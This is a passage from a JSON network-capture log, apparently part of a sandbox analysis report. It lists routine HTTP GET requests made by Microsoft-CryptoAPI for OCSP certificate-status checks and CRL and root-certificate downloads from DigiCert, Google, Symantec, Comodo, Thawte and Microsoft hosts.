  680. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nCache-Control: max-age = 89056\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 18:30:24 GMT\r\nIf-None-Match: \"5c9529c0-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  681. "port": 80
  682. },
  683. {
  684. "count": 1,
  685. "body": "",
  686. "uri": "http://t2.symcb.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D",
  687. "user-agent": "Microsoft-CryptoAPI/6.1",
  688. "method": "GET",
  689. "host": "t2.symcb.com",
  690. "version": "1.1",
  691. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D",
  692. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEHGgtzaV3bGvwjsrmhjuVMs%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: t2.symcb.com\r\n\r\n",
  693. "port": 80
  694. },
  695. {
  696. "count": 1,
  697. "body": "",
  698. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  699. "user-agent": "Microsoft-CryptoAPI/6.1",
  700. "method": "GET",
  701. "host": "ocsp.msocsp.com",
  702. "version": "1.1",
  703. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  704. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  705. "port": 80
  706. },
  707. {
  708. "count": 1,
  709. "body": "",
  710. "uri": "http://tl.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D",
  711. "user-agent": "Microsoft-CryptoAPI/6.1",
  712. "method": "GET",
  713. "host": "tl.symcd.com",
  714. "version": "1.1",
  715. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D",
  716. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFBjxN%2BWY73bfUnSOp7HDKJ%2Fbx0wQUV4abVLi%2BpimK5PbC4hMYiYXN3LcCEEoxfSNtIMRcPdNPMcVxcZc%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: tl.symcd.com\r\n\r\n",
  717. "port": 80
  718. },
  719. {
  720. "count": 1,
  721. "body": "",
  722. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  723. "user-agent": "Microsoft-CryptoAPI/6.1",
  724. "method": "GET",
  725. "host": "ocsp.digicert.com",
  726. "version": "1.1",
  727. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
  728. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 128165\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:02:13 GMT\r\nIf-None-Match: \"5c961235-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  729. "port": 80
  730. },
  731. {
  732. "count": 1,
  733. "body": "",
  734. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  735. "user-agent": "Microsoft-CryptoAPI/6.1",
  736. "method": "GET",
  737. "host": "ocsp.digicert.com",
  738. "version": "1.1",
  739. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
  740. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  741. "port": 80
  742. },
  743. {
  744. "count": 1,
  745. "body": "",
  746. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D",
  747. "user-agent": "Microsoft-CryptoAPI/6.1",
  748. "method": "GET",
  749. "host": "ocsp.pki.goog",
  750. "version": "1.1",
  751. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D",
  752. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEDoV9Mh%2FtNM5k9Pus79K5eQ%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  753. "port": 80
  754. },
  755. {
  756. "count": 1,
  757. "body": "",
  758. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  759. "user-agent": "Microsoft-CryptoAPI/6.1",
  760. "method": "GET",
  761. "host": "ocsp.digicert.com",
  762. "version": "1.1",
  763. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  764. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 143038\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 15:00:07 GMT\r\nIf-None-Match: \"5c9649f7-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  765. "port": 80
  766. },
  767. {
  768. "count": 1,
  769. "body": "",
  770. "uri": "http://crl.microsoft.com/pki/crl/products/MicrosoftTimeStampPCA.crl",
  771. "user-agent": "Microsoft-CryptoAPI/6.1",
  772. "method": "GET",
  773. "host": "crl.microsoft.com",
  774. "version": "1.1",
  775. "path": "/pki/crl/products/MicrosoftTimeStampPCA.crl",
  776. "data": "GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Feb 2019 02:02:49 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  777. "port": 80
  778. },
  779. {
  780. "count": 1,
  781. "body": "",
  782. "uri": "http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D",
  783. "user-agent": "Microsoft-CryptoAPI/6.1",
  784. "method": "GET",
  785. "host": "ocsp.comodoca.com",
  786. "version": "1.1",
  787. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D",
  788. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D HTTP/1.1\r\nCache-Control: max-age = 94804\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
  789. "port": 80
  790. },
  791. {
  792. "count": 1,
  793. "body": "",
  794. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  795. "user-agent": "Microsoft-CryptoAPI/6.1",
  796. "method": "GET",
  797. "host": "ocsp.pki.goog",
  798. "version": "1.1",
  799. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
  800. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  801. "port": 80
  802. },
  803. {
  804. "count": 1,
  805. "body": "",
  806. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  807. "user-agent": "Microsoft-CryptoAPI/6.1",
  808. "method": "GET",
  809. "host": "ocsp.digicert.com",
  810. "version": "1.1",
  811. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  812. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 112988\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 19 Jun 2019 15:00:10 GMT\r\nIf-None-Match: \"5d0a4dfa-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  813. "port": 80
  814. },
  815. {
  816. "count": 1,
  817. "body": "",
  818. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D",
  819. "user-agent": "Microsoft-CryptoAPI/6.1",
  820. "method": "GET",
  821. "host": "ocsp.digicert.com",
  822. "version": "1.1",
  823. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D",
  824. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D HTTP/1.1\r\nCache-Control: max-age = 108232\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 23:50:01 GMT\r\nIf-None-Match: \"5c9574a9-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  825. "port": 80
  826. },
  827. {
  828. "count": 1,
  829. "body": "",
  830. "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  831. "user-agent": "Microsoft-CryptoAPI/6.1",
  832. "method": "GET",
  833. "host": "www.download.windowsupdate.com",
  834. "version": "1.1",
  835. "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
  836. "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Feb 2019 16:53:13 GMT\r\nIf-None-Match: \"80e22c19cfcad41:0\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
  837. "port": 80
  838. },
  839. {
  840. "count": 2,
  841. "body": "",
  842. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  843. "user-agent": "Microsoft-CryptoAPI/6.1",
  844. "method": "GET",
  845. "host": "crl.microsoft.com",
  846. "version": "1.1",
  847. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  848. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  849. "port": 80
  850. },
  851. {
  852. "count": 1,
  853. "body": "",
  854. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
  855. "user-agent": "Microsoft-CryptoAPI/6.1",
  856. "method": "GET",
  857. "host": "ocsp.digicert.com",
  858. "version": "1.1",
  859. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
  860. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D HTTP/1.1\r\nCache-Control: max-age = 93156\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 04:40:45 GMT\r\nIf-None-Match: \"5c8c7e4d-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  861. "port": 80
  862. },
  863. {
  864. "count": 1,
  865. "body": "",
  866. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D",
  867. "user-agent": "Microsoft-CryptoAPI/6.1",
  868. "method": "GET",
  869. "host": "ocsp.digicert.com",
  870. "version": "1.1",
  871. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D",
  872. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D HTTP/1.1\r\nCache-Control: max-age = 149079\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:10:47 GMT\r\nIf-None-Match: \"5c961437-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  873. "port": 80
  874. },
  875. {
  876. "count": 1,
  877. "body": "",
  878. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D",
  879. "user-agent": "Microsoft-CryptoAPI/6.1",
  880. "method": "GET",
  881. "host": "ocsp.digicert.com",
  882. "version": "1.1",
  883. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D",
  884. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D HTTP/1.1\r\nCache-Control: max-age = 148251\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 18:10:24 GMT\r\nIf-None-Match: \"5c8d3c10-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  885. "port": 80
  886. },
  887. {
  888. "count": 1,
  889. "body": "",
  890. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D",
  891. "user-agent": "Microsoft-CryptoAPI/6.1",
  892. "method": "GET",
  893. "host": "ocsp.pki.goog",
  894. "version": "1.1",
  895. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D",
  896. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  897. "port": 80
  898. },
  899. {
  900. "count": 1,
  901. "body": "",
  902. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D",
  903. "user-agent": "Microsoft-CryptoAPI/6.1",
  904. "method": "GET",
  905. "host": "ocsp.pki.goog",
  906. "version": "1.1",
  907. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D",
  908. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  909. "port": 80
  910. },
  911. {
  912. "count": 1,
  913. "body": "",
  914. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
  915. "user-agent": "Microsoft-CryptoAPI/6.1",
  916. "method": "GET",
  917. "host": "ocsp.digicert.com",
  918. "version": "1.1",
  919. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
  920. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D HTTP/1.1\r\nCache-Control: max-age = 126990\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 10:41:16 GMT\r\nIf-None-Match: \"5c960d4c-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  921. "port": 80
  922. },
  923. {
  924. "count": 1,
  925. "body": "",
  926. "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  927. "user-agent": "Microsoft-CryptoAPI/6.1",
  928. "method": "GET",
  929. "host": "ocsp.pki.goog",
  930. "version": "1.1",
  931. "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
  932. "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  933. "port": 80
  934. },
  935. {
  936. "count": 1,
  937. "body": "",
  938. "uri": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D",
  939. "user-agent": "Microsoft-CryptoAPI/6.1",
  940. "method": "GET",
  941. "host": "ocsp.thawte.com",
  942. "version": "1.1",
  943. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D",
  944. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D HTTP/1.1\r\nCache-Control: max-age = 320712\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 20 Mar 2019 11:42:01 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.thawte.com\r\n\r\n",
  945. "port": 80
  946. },
  947. {
  948. "count": 1,
  949. "body": "",
  950. "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  951. "user-agent": "Microsoft-CryptoAPI/6.1",
  952. "method": "GET",
  953. "host": "ocsp.usertrust.com",
  954. "version": "1.1",
  955. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
  956. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
  957. "port": 80
  958. },
  959. {
  960. "count": 1,
  961. "body": "",
  962. "uri": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D",
  963. "user-agent": "Microsoft-CryptoAPI/6.1",
  964. "method": "GET",
  965. "host": "th.symcd.com",
  966. "version": "1.1",
  967. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D",
  968. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D HTTP/1.1\r\nCache-Control: max-age = 386377\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 21 Mar 2019 05:58:32 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: th.symcd.com\r\n\r\n",
  969. "port": 80
  970. },
  971. {
  972. "count": 1,
  973. "body": "",
  974. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D",
  975. "user-agent": "Microsoft-CryptoAPI/6.1",
  976. "method": "GET",
  977. "host": "ocsp.digicert.com",
  978. "version": "1.1",
